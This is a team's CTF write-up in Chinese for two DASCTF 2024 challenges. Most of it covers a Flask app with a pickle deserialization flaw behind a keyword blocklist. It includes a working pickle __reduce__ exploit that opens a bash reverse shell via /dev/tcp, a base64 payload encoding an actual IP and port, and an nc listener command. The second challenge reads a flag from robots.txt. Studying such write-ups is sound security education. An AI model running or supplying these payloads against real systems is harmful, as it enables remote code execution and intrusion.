DASCTF&0psu3 2024最后一战|寒夜破晓,冬至终章-Writeup

由 Polze Li 发布

队伍名称

你说,我真的能见到我心中的那个她吗

排名

59

解题思路

WEB

const_python

题目简介:自认为搭建了一个完美的web应用,不会有问题,很自信地在src存放了源码,应该不会有人能拿到/flag的内容。

这玩意怎么说,exec和eval都ban了,本来想打新版内存马(,然后dnslog和nc一直不出来,急死我了,最后bash出来了(

提示查看src,则看src得到源码


import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64

app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")

class User:
    def __init__(self, username, password, auth='ctfer'):
        self.username = username
        self.password = password
        self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
    return "Welcome to my application"

@app.route('/login', methods=['GET', 'POST'])
def post_login():
    if request.method == 'POST':

        username = request.form['username']
        password = request.form['password']

        if username == 'admin' :
            if password == admin.password:
                session['username'] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session['username'] = username

    return '''
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''

@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"

@app.route('/admin', methods=['POST'])
def admin():
    username = session['username']
    if username != "admin":
        return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"

@app.route('/src')
def src():
    return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)

代码审计看/ppicklee路由,发现pickle反序列化漏洞。首先想到新版flask内存马但是exec和eval都被ban了所以换思路。

翻着翻着发现了这个builtins里面有subprocess。subprocess.run这个内建的方法可以代替os.popen运行命令,然后这个有没被waf

然后我们要知道subprocess.run用法,可以参考这篇blogPython 的 subprocess 介绍及如何使用-CSDN博客

我们这里直接反弹shell(dnslog和nc带不出来)

然后得出exp

import os
import subprocess
import pickle
import base64

class A():
    def __reduce__(self):
        #这里命令不能直接用bash -i >& /dev/tcp/$ip/$port 0>&1
        return (subprocess.run, (["bash", "-c", "bash -i >& /dev/tcp/$ip/$port 0>&1"],))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
#gASVWQAAAAAAAACMCnN1YnByb2Nlc3OUjANydW6Uk5RdlCiMBGJhc2iUjAItY5SMLGJhc2ggLWkgPiYgL2Rldi90Y3AvMTEzLjQ0LjE1OC43Mi8xMTQ1NSAwPiYxlGWFlFKULg==

在接收端用nc监听\$port nc -lvp $port

payload通过post传入/ppicklee,然后接收端反弹shell成功,最后 ls / cat /flag

签到题

题目简介:仔细看看西湖论剑大赛的报名网站,似乎。。。。有什么不对劲的地方?

hint:请仔细观察这个链接,会先到 game.wetolink.com,那么,稍微扫描一下能有什么发现呢?

用dirsearch可以扫除robots.txt

访问game.wetolink.com/robots.txt即可得到flag


0条评论

发表评论


验证码